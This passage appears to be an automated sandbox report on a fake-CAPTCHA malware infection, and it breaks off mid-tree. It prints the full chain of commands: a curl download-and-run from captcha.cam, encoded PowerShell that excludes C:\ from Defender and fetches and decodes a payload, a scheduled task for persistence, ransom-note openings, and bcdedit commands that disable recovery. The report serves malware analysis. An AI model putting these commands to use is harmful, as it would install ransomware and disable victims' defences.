PID 3164 wrote to memory of 2348	3164	firefox.exe	84
PID 3164 wrote to memory of 2348	3164	firefox.exe	84
PID 3164 wrote to memory of 2348	3164	firefox.exe	84
PID 3164 wrote to memory of 2348	3164	firefox.exe	84
PID 3164 wrote to memory of 2348	3164	firefox.exe	84
PID 3164 wrote to memory of 2348	3164	firefox.exe	84
PID 3164 wrote to memory of 2348	3164	firefox.exe	84
PID 3164 wrote to memory of 2348	3164	firefox.exe	84
PID 3164 wrote to memory of 2348	3164	firefox.exe	84
PID 3164 wrote to memory of 2348	3164	firefox.exe	84
PID 3164 wrote to memory of 2348	3164	firefox.exe	84
PID 3164 wrote to memory of 2348	3164	firefox.exe	84
PID 3164 wrote to memory of 2348	3164	firefox.exe	84
PID 3164 wrote to memory of 2348	3164	firefox.exe	84
PID 3164 wrote to memory of 2348	3164	firefox.exe	84
PID 3164 wrote to memory of 2348	3164	firefox.exe	84
PID 3164 wrote to memory of 2348	3164	firefox.exe	84
PID 3164 wrote to memory of 2348	3164	firefox.exe	84
PID 3164 wrote to memory of 2348	3164	firefox.exe	84
PID 3164 wrote to memory of 2348	3164	firefox.exe	84
PID 3164 wrote to memory of 2348	3164	firefox.exe	84
PID 3164 wrote to memory of 2348	3164	firefox.exe	84
PID 3164 wrote to memory of 2348	3164	firefox.exe	84
PID 3164 wrote to memory of 2348	3164	firefox.exe	84
PID 3164 wrote to memory of 2348	3164	firefox.exe	84
PID 3164 wrote to memory of 2348	3164	firefox.exe	84
PID 3164 wrote to memory of 2348	3164	firefox.exe	84
PID 3164 wrote to memory of 2348	3164	firefox.exe	84
PID 3164 wrote to memory of 2348	3164	firefox.exe	84
PID 3164 wrote to memory of 2348	3164	firefox.exe	84
PID 3164 wrote to memory of 2348	3164	firefox.exe	84
PID 3164 wrote to memory of 2348	3164	firefox.exe	84
PID 3164 wrote to memory of 2348	3164	firefox.exe	84
PID 3164 wrote to memory of 2348	3164	firefox.exe	84
PID 3164 wrote to memory of 2348	3164	firefox.exe	84
PID 3164 wrote to memory of 4580	3164	firefox.exe	85
PID 3164 wrote to memory of 4580	3164	firefox.exe	85
PID 3164 wrote to memory of 4580	3164	firefox.exe	85
PID 3164 wrote to memory of 4580	3164	firefox.exe	85
PID 3164 wrote to memory of 4580	3164	firefox.exe	85
PID 3164 wrote to memory of 4580	3164	firefox.exe	85
PID 3164 wrote to memory of 4580	3164	firefox.exe	85
PID 3164 wrote to memory of 4580	3164	firefox.exe	85

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -osint -url "http://medai.tv"
1⤵
- Suspicious use of WriteProcessMemory
PID:4312
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe" -osint -url http://medai.tv
  2⤵
  - Checks processor information in registry
  - Modifies registry class
  - NTFS ADS
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3164
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2024 -parentBuildID 20240401114208 -prefsHandle 1952 -prefMapHandle 1944 -prefsLen 23680 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {620725ce-d37a-4778-9e5c-ce3b2415d626} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" gpu
    3⤵
    PID:2348
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2464 -parentBuildID 20240401114208 -prefsHandle 2444 -prefMapHandle 2436 -prefsLen 24600 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {6a496ff7-0aae-49e8-8fc0-c6305609457b} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" socket
    3⤵
    - Checks processor information in registry
    PID:4580
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3064 -childID 1 -isForBrowser -prefsHandle 3136 -prefMapHandle 2876 -prefsLen 22652 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {915828fe-d4d7-4d1c-bc42-e3e42f14a847} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab
    3⤵
    PID:1060
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3836 -childID 2 -isForBrowser -prefsHandle 3816 -prefMapHandle 3812 -prefsLen 29090 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f14e08e4-0c11-4adc-8314-5c1600d61e91} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab
    3⤵
    PID:4728
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4700 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4768 -prefMapHandle 4760 -prefsLen 29090 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {9b485586-9cea-4978-b02d-bb59827b390b} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" utility
    3⤵
    - Checks processor information in registry
    PID:3464
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5448 -childID 3 -isForBrowser -prefsHandle 5440 -prefMapHandle 5436 -prefsLen 27178 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b138b95d-bab9-40a6-a376-ba82a321ca0d} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab
    3⤵
    PID:988
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5176 -childID 4 -isForBrowser -prefsHandle 3196 -prefMapHandle 3192 -prefsLen 27178 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d2be3cfc-694d-4bb1-b9e1-36b2183dbd8b} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab
    3⤵
    PID:3316
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3068 -childID 5 -isForBrowser -prefsHandle 5112 -prefMapHandle 5160 -prefsLen 27178 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {9c4f05d8-4e52-4d98-be2b-2afb6c0e885c} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab
    3⤵
    PID:1400
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5772 -childID 6 -isForBrowser -prefsHandle 5764 -prefMapHandle 3192 -prefsLen 27178 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7c1a0e9f-683c-415b-94ca-23194187abda} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab
    3⤵
    PID:2968
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6028 -childID 7 -isForBrowser -prefsHandle 5888 -prefMapHandle 5884 -prefsLen 27178 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {0da9d7b8-9ed3-4fb8-b7a8-ab487d14501f} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab
    3⤵
    PID:3600
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6892 -childID 8 -isForBrowser -prefsHandle 6884 -prefMapHandle 6880 -prefsLen 28140 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f4ab18e4-3933-4478-9c22-54e233e1cf01} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab
    3⤵
    PID:1060
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=7096 -parentBuildID 20240401114208 -prefsHandle 7108 -prefMapHandle 6852 -prefsLen 34727 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {5d7eb136-0384-43da-868c-e4abe97c7748} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" rdd
    3⤵
    PID:5152
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5904 -childID 9 -isForBrowser -prefsHandle 6176 -prefMapHandle 6160 -prefsLen 28140 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7d2a67a6-e5ad-4f36-9656-15569ce273f8} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab
    3⤵
    PID:5744
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=7820 -childID 10 -isForBrowser -prefsHandle 7440 -prefMapHandle 7796 -prefsLen 28140 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b42621e9-22b6-4183-9ab9-c69107416d41} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab
    3⤵
    PID:3612
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=8356 -childID 11 -isForBrowser -prefsHandle 8352 -prefMapHandle 8340 -prefsLen 28140 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {eb728318-c5ab-4973-a84f-834645f0b042} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab
    3⤵
    PID:4036
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=8628 -childID 12 -isForBrowser -prefsHandle 8636 -prefMapHandle 8640 -prefsLen 28140 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {6f0dcf3d-7f44-493c-9d4b-30b55e725b8e} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab
    3⤵
    PID:2228
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=8880 -childID 13 -isForBrowser -prefsHandle 8888 -prefMapHandle 8896 -prefsLen 28140 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {dc67a5c4-7184-4f30-8a9f-05b19419caa6} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab
    3⤵
    PID:5164
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=8352 -childID 14 -isForBrowser -prefsHandle 9152 -prefMapHandle 9148 -prefsLen 28140 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f8721d67-e7b7-4cb8-9988-4da717b8c197} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab
    3⤵
    PID:5168
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=9316 -childID 15 -isForBrowser -prefsHandle 9328 -prefMapHandle 9268 -prefsLen 28140 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {da9f4cf7-9ebb-4a6c-8586-e5263881f1e8} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab
    3⤵
    PID:5156
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=9588 -childID 16 -isForBrowser -prefsHandle 9580 -prefMapHandle 9576 -prefsLen 28140 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e5e8711d-1d75-45d8-941b-9c09e0baf1eb} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab
    3⤵
    PID:5308
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=9048 -childID 17 -isForBrowser -prefsHandle 6112 -prefMapHandle 8452 -prefsLen 28140 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {50abcf16-a525-4c19-b3a0-b219561f7e17} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab
    3⤵
    PID:5212
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6112 -childID 18 -isForBrowser -prefsHandle 6172 -prefMapHandle 8332 -prefsLen 28140 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3c66c6a5-34e7-4a4d-b311-b2c778483ef8} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab
    3⤵
    PID:4504
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=8564 -childID 19 -isForBrowser -prefsHandle 6172 -prefMapHandle 6828 -prefsLen 28140 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e792425c-a400-4e7c-a9c7-84b394326976} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab
    3⤵
    PID:6420
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5880 -childID 20 -isForBrowser -prefsHandle 8200 -prefMapHandle 7176 -prefsLen 28140 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {0614e1e7-0dd3-4c76-9616-831dd0a4caa2} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab
    3⤵
    PID:6640
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=8504 -childID 21 -isForBrowser -prefsHandle 5952 -prefMapHandle 5964 -prefsLen 28140 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3bb5977c-38ec-47d1-bcec-09659dc87d86} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab
    3⤵
    PID:6824
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5952 -childID 22 -isForBrowser -prefsHandle 8752 -prefMapHandle 8756 -prefsLen 28140 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {84107c5d-1f81-469e-8a9f-fd7c266b162a} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab
    3⤵
    PID:4812
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=8748 -childID 23 -isForBrowser -prefsHandle 5992 -prefMapHandle 8720 -prefsLen 28140 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ecb4f405-1d19-4e15-98f4-5cf420503e03} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab
    3⤵
    PID:4036
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=8956 -childID 24 -isForBrowser -prefsHandle 8936 -prefMapHandle 9576 -prefsLen 28140 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {28b43466-36db-46fe-bf0d-6d46f6b9c05f} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab
    3⤵
    PID:5764
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=8616 -childID 25 -isForBrowser -prefsHandle 6896 -prefMapHandle 8652 -prefsLen 28140 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {59115419-6150-4a5b-ac80-16e4e3b78467} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab
    3⤵
    PID:5724
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=10140 -childID 26 -isForBrowser -prefsHandle 10220 -prefMapHandle 10216 -prefsLen 28140 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b7b88662-c498-46e6-9cc1-e8a47d5a79c9} 3164 "\\.\pipe\gecko-crash-server-pipe.3164" tab
    3⤵
    PID:5664

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "curl -k -L -Ss https://captcha.cam/t.cmd -o "C:\Users\Admin\AppData\Local\Temp\1.cmd" && "C:\Users\Admin\AppData\Local\Temp\1.cmd"" # Press OK or ENTER to complete verification. By pressing OK you confirm you are not a robot.
1⤵
PID:968
- C:\Windows\system32\curl.exe
  curl -k -L -Ss https://captcha.cam/t.cmd -o "C:\Users\Admin\AppData\Local\Temp\1.cmd"
  2⤵
  PID:5008
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -w h -command ""
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3120
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Start-Process -Verb RunAs -FilePath '"C:\Users\Admin\AppData\Local\Temp\1.cmd"' -ArgumentList 'am_admin'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1620
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\1.cmd" am_admin
    3⤵
    PID:3936
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -w h -command ""
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3612
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -enc cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAALQBjAG8AbQBtAGEAbgBkACAAIgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAIgBDADoAXAANAAoA
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5024
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "Add-MpPreference -ExclusionPath " C:\
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1468
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -enc cgBlAGcAIABhAGQAZAAgACIASABLAEwATQBcAFMATwBGAFQAVwBBAFIARQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAIgAgAC8AdgAgAEMAOgBcAA==
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3896
    - - C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\
        5⤵
        
        PID:3588
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -enc JAB1AHIAbAA9ACIAaAB0AHQAcABzADoALwAvAGMAYQBwAHQAYwBoAGEALgBjAGEAbQAvAGYAaQBsAGUALgBiADYANAAiADsAJABiADYANABGAGkAbABlAD0AIgAkAGUAbgB2ADoAVABlAG0AcABcAGYAaQBsAGUALgBiADYANAAiADsAJABlAHgAZQBGAGkAbABlAD0AIgAkAGUAbgB2ADoAVABlAG0AcABcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAiADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAdQByAGwAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAGIANgA0AEYAaQBsAGUAOwBbAEkATwAuAEYAaQBsAGUAXQA6ADoAVwByAGkAdABlAEEAbABsAEIAeQB0AGUAcwAoACQAZQB4AGUARgBpAGwAZQAsAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAkAGIANgA0AEYAaQBsAGUAIAAtAFIAYQB3ACkAKQApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACQAZQB4AGUARgBpAGwAZQA=
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:380
    - - C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3752
      - C:\Windows\system32\schtasks.exe
        
        "schtasks" /create /tn "RuntimeBroker" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\RuntimeBroker\RuntimeBroker.exe" /rl HIGHEST /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3128
      - C:\Users\Admin\AppData\Roaming\RuntimeBroker\RuntimeBroker.exe
        
        "C:\Users\Admin\AppData\Roaming\RuntimeBroker\RuntimeBroker.exe"
        6⤵
        Checks computer location settings
        Executes dropped EXE
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        
        PID:1576
        
        C:\Windows\system32\schtasks.exe
        
        "schtasks" /create /tn "RuntimeBroker" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\RuntimeBroker\RuntimeBroker.exe" /rl HIGHEST /f
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3456
        
        C:\Windows\system32\cmd.exe
        
        "cmd" /K CHCP 437
        7⤵
        Checks computer location settings
        Modifies registry class
        
        PID:5244
        
        C:\Windows\system32\chcp.com
        
        CHCP 437
        8⤵
        
        PID:5216
        
        C:\Windows\system32\NOTEPAD.EXE
        
        "C:\Windows\system32\NOTEPAD.EXE" C:\vcredist2010_x64.log-MSI_vc_red.msi.txt
        8⤵
        Opens file in notepad (likely ransom note)
        Suspicious use of FindShellTrayWindow
        
        PID:5424
        
        C:\Windows\system32\NOTEPAD.EXE
        
        "C:\Windows\system32\NOTEPAD.EXE" C:\vcredist2010_x86.log-MSI_vc_red.msi.txt
        8⤵
        Opens file in notepad (likely ransom note)
        Suspicious use of FindShellTrayWindow
        
        PID:5356
        
        C:\Windows\system32\cmd.exe
        
        "cmd" /K CHCP 437
        7⤵
        
        PID:6980
        
        C:\Windows\system32\chcp.com
        
        CHCP 437
        8⤵
        
        PID:5536
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell
        8⤵
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2256
        
        C:\Windows\system32\cmd.exe
        
        "cmd" /K CHCP 437
        7⤵
        
        PID:4628
        
        C:\Windows\system32\chcp.com
        
        CHCP 437
        8⤵
        
        PID:3340
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell
        8⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1624
        
        C:\Windows\system32\bcdedit.exe
        
        "C:\Windows\system32\bcdedit.exe" /set -encodedCommand ZABlAGYAYQB1AGwAdAA= recoveryenabled No -inputFormat xml -outputFormat text
        9⤵
        Modifies boot configuration data using bcdedit
        
        PID:868
        
        C:\Windows\system32\bcdedit.exe
        
        "C:\Windows\system32\bcdedit.exe" /delete -encodedCommand ZABlAGYAYQB1AGwAdAA= /f -inputFormat xml -outputFormat text
        9⤵
        Modifies boot configuration data using bcdedit
        
        PID:4212
        
        C:\Windows\system32\bcdedit.exe
        
        "C:\Windows\system32\bcdedit.exe" /enum
        9⤵
        Modifies boot configuration data using bcdedit
        
        PID:7032
        
        C:\Windows\system32\bcdedit.exe
        
        "C:\Windows\system32\bcdedit.exe" /set -encodedCommand YwB1AHIAcgBlAG4AdAA= recoveryenabled No -inputFormat xml -outputFormat text
        9⤵
        Modifies boot configuration data using bcdedit
        
        PID:6188
        
        C:\Windows\system32\bcdedit.exe
        
        "C:\Windows\system32\bcdedit.exe" /delete -encodedCommand YwB1AHIAcgBlAG4AdAA= /f -inputFormat xml -outputFormat text
        9⤵
        Modifies boot configuration data using bcdedit
        
        PID:6252
        
        C:\Windows\system32\bcdedit.exe
        
        "C:\Windows\system32\bcdedit.exe" /set -encodedCommand YwB1AHIAcgBlAG4AdAA= recoveryenabled No -inputFormat xml -outputFormat text
        9⤵
        Modifies boot configuration data using bcdedit
        
        PID:6392
        
        C:\Windows\system32\bcdedit.exe
        
        "C:\Windows\system32\bcdedit.exe" /delete -encodedCommand YwB1AHIAcgBlAG4AdAA= /f -inputFormat xml -outputFormat text
        9⤵
        Modifies boot configuration data using bcdedit
        
        PID:6272
        
        C:\Windows\System32\shutdown.exe
        
        "C:\Windows\System32\shutdown.exe" /s /t 0
        7⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2024

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\t.cmd" "
1⤵
PID:5056
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -w h -command ""
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5160
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Start-Process -Verb RunAs -FilePath '"C:\Users\Admin\Downloads\t.cmd"' -ArgumentList 'am_admin'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5292
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\Downloads\t.cmd" am_admin
    3⤵
    PID:5412
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -w h -command ""
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5464
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
